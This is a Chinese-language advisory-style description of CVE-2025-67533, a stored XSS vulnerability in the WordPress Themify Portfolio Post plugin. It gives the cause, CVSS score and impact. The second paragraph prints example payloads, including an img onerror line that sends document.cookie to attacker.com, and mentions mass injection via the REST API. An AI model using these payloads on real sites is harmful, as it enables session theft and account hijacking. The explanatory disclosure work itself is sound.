CVE-2025-67533CVE-2025-67533是一个影响WordPress Themify Portfolio Post插件的高危存储型跨站脚本(Stored XSS)漏洞。该漏洞源于该插件在处理用户输入时未能正确对输入数据进行转义或清理,导致恶意JavaScript代码可以被持久化存储在数据库中。当其他用户访问包含恶意代码的页面时,攻击者注入的脚本将在受害者浏览器中执行,从而窃取会话Cookie、劫持用户账户、修改页面内容或进行其他恶意操作。此漏洞的CVSS评分为7.1(高危),攻击向量为网络,攻击复杂度低,无需认证即可发起攻击,但需要用户交互才能触发。攻击者可以利用此漏洞对使用该插件的网站进行大规模攻击,影响范围包括所有使用Themify Portfolio Post插件1.3.0及以下版本的WordPress网站。该漏洞由Patchstack安全团队的审计人员发现并报告,披露日期为2025年12月9日。由于该插件广泛应用于企业级WordPress网站,存储型XSS漏洞可能导致严重的业务安全风险,包括用户数据泄露、品牌声誉受损以及可能的法律合规问题。
Themify Portfolio Post插件在处理Portfolio文章内容时存在存储型XSS漏洞。该插件的themify-portfolio-post功能模块在接收用户提交的Portfolio标题、描述、分类等字段时,直接将用户输入存储到数据库而未进行充分的输入验证和输出编码。当这些数据被回显到前端页面时,浏览器将其解析为HTML或JavaScript代码执行。攻击者可以通过在Portfolio文章的标题或描述字段中插入恶意JavaScript代码,如:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>等Payload。当管理员或普通访问者浏览包含恶意内容的Portfolio页面时,注入的脚本会在其浏览器上下文中执行,从而窃取认证令牌、会话Cookie或执行其他特权操作。由于存储型XSS的数据会永久保存在服务器端,因此只要漏洞存在,所有访问受影响页面的用户都会受到攻击。该漏洞影响Themify Portfolio Post插件从任意版本到1.3.0的所有版本。攻击者可以利用WordPress的REST API或AJAX端点自动化批量注入恶意代码,实现大规模攻击。